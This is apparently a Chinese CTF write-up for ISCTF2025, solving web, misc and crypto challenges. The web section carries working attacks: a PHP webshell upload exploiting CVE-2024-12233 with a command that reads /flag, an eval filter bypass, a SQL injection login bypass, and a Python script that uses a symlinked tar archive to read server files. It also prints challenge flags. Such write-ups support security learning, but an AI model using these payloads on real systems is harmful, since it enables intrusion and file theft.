Loading...

文章背景图

ISCTF2025复现

Zero Zero
|
2025-12-19
|
7
|
-
|
- min
|

Web:

b@by n0t1ce b0ard

在你以后的 CTF 历程中,你会遇到不少的大型 php 项目审计。

然而,大多数情况下,你不一定需要完全自己审计出一个原创的漏洞(0day),而是可以利用已有的漏洞进行攻击(nday)。

CVE 是这个世界上最大的漏洞数据库。复现 CVE 是每一个 web 手不可或缺的能力。接下来,尝试用好你的 google,去复现一个已经发布的 php 项目漏洞。

CVE 编号:CVE-2024-12233

1.CVE漏洞信息检索

2.阿里云漏洞库存储信息

image-MiAG.png

3.搜索到出题人的Github

4.漏洞分析

漏洞文件:

ingistration.php

描述:

攻击者在通过个人资料图片上传时,可以上传恶意文件。
上传的个人资料图片不受任何限制,并将存储在 /images/{USER-EMAIL}/{UPLOAD_FILENAME} 中
黑客可以上传 .php 文件,例如访问 /images/{USER-EMAIL}/malicious_php_file.php?1={any 命令 HERE} 执行任何命令。

代码分析

编辑.php第36-37行

mkdir("images/$e");

move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);

参数 $e 是用户注册时的电子邮件。
对上传的图像不予置换。

image-wxqp.png

5.切换到漏洞页面

image-DUJt.png

6.填写基本信息传入参数,直接抓包,构造请求包:

POST /registration.php HTTP/1.1
Host: challenge.imxbt.cn:31841
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Length: 1353
Origin: http://challenge.imxbt.cn:31841
Connection: keep-alive
Referer: http://challenge.imxbt.cn:31841/registration.php
Cookie: PHPSESSID=c4bbec0062a31eeea11a1ae7a320f862
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="n"

test
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="e"

test@qq.com
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="p"

test
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="mob"

1111
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="gen"

m
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="hob[]"

reading
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="img"; filename="basic_webshell.php"
Content-Type: application/octet-stream

<?php @eval($_GET['attack']);?>

------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="yy"

1950
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="mm"

2
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="dd"

3
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="save"

Save
------geckoformboundary410fb727813a59a05c4c5aa712f76916--

image-nPHy.png

由于上传 .php 文件,例如访问 /images/{USER-EMAIL}/malicious_php_file.php?1={any 命令 HERE} 执行任何命令。其中的路径跟你输入的邮箱有关系,当时填的是test:

7.构造payload,拿到flag!

/images/test/basic_webshell.php?attack=system(%22cat%20/flag%22);

image-Spky.png

ezrce

如此ez的rce,补兑,怎么只允许这些?

1.进入页面,经典代码审计环节

 <?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
} 

image-bZlJ.png

2.对PHP代码进行审计:

代码分析只允许大写小写字母、圆括号 ()、下划线 _、分号 ; ,过滤了引号决定使用无参数的执行方式

get_defined_vars()函数运行返回一个数组并且第一个参数是$_GET于是我们用current这个函数来获得第一个参数,再用end获得最后一个参数,比如对于eval(end(current(get_defined_vars()))),

current(get_defined_vars())得到$_GET数组,end($_GET)取$_GET的最后一个元素,即$_GET['b']="system('ls /');"相当于最后就执行了eval("system('ls /');")

3.构造payload:

?code=eval(end(current(get_defined_vars())));&b=system("cat%20/flag");

4.传参拿到flag:

image-ITNJ.png

flag到底在哪

小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的

1.发现403结合题目描述,通过robots.txt协议发现了/admin/login.php文件

image-Dukx.png

2.一个登录界面:

image-oalR.png

3.尝试利用万能钥匙绕过即可:

username:admin
password:' OR '1'='1

4.上传一个webshell:

直接用祖传的webshell后门文件即可成功传入

image-wzBH.png

5.直接打payload,拿flag

?a=phpinfo();

image-yxrC.png

flag?我就借走了

小蓝鲨建了一个资源站,它还很贴心的支持了多种文件格式,甚至能自动解压!小蓝鲨还是太贴心了

1.进入主页,发现是一个文件分享站

0dd0345f9ed53244c0b551ae62462afa.png

2.注意给出的提示我们可以看到网站是通过 python+flask 编写,那么我们正常就要尝试使用py文件尝试读取 /flag

理工生的同人文件分享站

这是我用业余时间用Python+Flask写的一个分享网站,希望你喜欢

支持上传.png .avif .webp .gif .jxl .txt文件

同时本站还支持上传打包格式,上传后会自动帮你解压到目录.

作为理工生,打包格式用tar不过分吧

3.其实一开始的时候我想到用SSRF的但是没有用,然后就想到可以研究读取/flag文件,利用文件系统的特性:

本题考点考察的应该是软链接 利用文件系统特性:符号链接的透明访问 利用Web服务器行为:自动跟随符号链接

符号链接的特殊性:
符号链接只是一个"指向"而不是文件内容副本
读取符号链接时,系统会跟随链接读取目标文件
Web服务器通常会自动跟随符号链接

4.构造EXP脚本:

import tarfile
import requests

# 创建最简单的符号链接payload
with tarfile.open('exploit.tar', 'w') as tar:
    # 创建指向/flag的符号链接
    info = tarfile.TarInfo(name="flag")
    info.type = tarfile.SYMTYPE  # 符号链接
    info.linkname = "/flag" # 指向根目录的flag文件
    tar.addfile(info)

print("Payload创建完成: exploit.tar")

# 上传到目标网站
url = "http://challenge.imxbt.cn:31727/"
files = {'file': open('exploit.tar', 'rb')}

response = requests.post(url, files=files)
print(f"上传状态: {response.status_code}")

# 尝试访问符号链接
flag_url = f"{url}flag"
r = requests.get(flag_url)
print(f"访问flag链接状态: {r.status_code}")
print(f"Flag内容: {r.text}")

d393111aa0ff27e7ea426d31446d8ccd.png

5.上传成功后直接访问文件即可拿到flag:

ISCTF{cd62c2ad-c7d5-416b-a65f-a95148071960}

Misc:

Guess!

这是一个经典的猜数字,开始你的数字解密之旅吧!

1.打开exe文件,直接就是猜数字

image-DAue.png

2.照常猜数字就行:

image-Gpol.png

3.直接拿到flag:

ISCTF{9ueSs_thE_@n$weR}  

Crypto:

easy_RSA

我们的爱情像欧拉函数p(n)一一无限趋近却永远达不到的完美互质,最终只剩周期性的怀念在模n的世界里循环证明

1..打开附件进行分析:

from Crypto.Util.number import *

p = getPrime(1024)

q = getPrime(1024)

N = p*q

e = 65537

msg = bytes_to_long(b"ISCTF{dummy_flag}")

ct1 = pow(msg, e, N)

ct2 = pow(msg, p+q, N)

print(f"{N = }")

print(f"{ct1 = }")

print(f"{ct2 = }")

"""
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
"""

2.分析并构造exp脚本:(AI可以梭哈出来的其实)

from Crypto.Util.number import long_to_bytes
 
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
e = 65537
 
# 计算 N+1
N1 = N + 1
 
# 计算 a = e^{-1} mod (N+1)
a = pow(e, -1, N1)
 
# 计算 k
k = (e * a - 1) // N1
 
# 计算 ct2 的模逆
ct2_inv = pow(ct2, -1, N)
 
# 计算 m
m = pow(ct1, a, N) * pow(ct2_inv, k, N) % N
 
# 转换为字节
flag = long_to_bytes(m)
print(flag.decode())

3.运行拿到flag:

ISCTF{Congratulations_you_master_Mathematical_ability}

Ez_Caesar

小蓝鲨看你们牢底坐穿决定送你们一点分。

1.分析task.py文件

根据变种凯撒加密算法的分析,加密时位移量 shift 初始为2,每加密一个字母就增加3。因此解密时需要根据字母的位置(第几个字母)计算对应的位移量,然后进行反向移位。

def variant_caesar_encrypt(text):
    encrypted = ""
    shift = 2
    for char in text:
        if char.isalpha():
            if char.isupper():
                base = ord('A')
                new_char = chr((ord(char) - base + shift) % 26 + base)
            else:
                base = ord('a')
                new_char = chr((ord(char) - base + shift) % 26 + base)
            encrypted += new_char
            shift += 3
        else:
            encrypted += char
    return encrypted

# KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}

2.构造EXP:

def variant_caesar_decrypt(ciphertext):
    decrypted = ""
    count = 0  # 记录已处理的字母个数
    for char in ciphertext:
        if char.isalpha():
            # 计算当前字母对应的位移量:第 count 个字母(从0开始)使用的位移为 2 + 3*count
            shift = 2 + 3 * count
            if char.isupper():
                base = ord('A')
                # 反向移位:原字符 = (密文字符 - base - shift) mod 26 + base
                orig = (ord(char) - base - shift) % 26 + base
                decrypted += chr(orig)
            else:
                base = ord('a')
                orig = (ord(char) - base - shift) % 26 + base
                decrypted += chr(orig)
            count += 1  # 处理完一个字母,计数器加1
        else:
            decrypted += char
    return decrypted

# 测试
cipher = "KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}"
plain = variant_caesar_decrypt(cipher)
print(plain)

3.运行即可拿到flag:

ISCTF{Caesar_is_so_easy_and_funny}

Pwn:

Reverse:

分享文章

未配置分享平台

请在主题设置中启用分享平台

评论

文章目录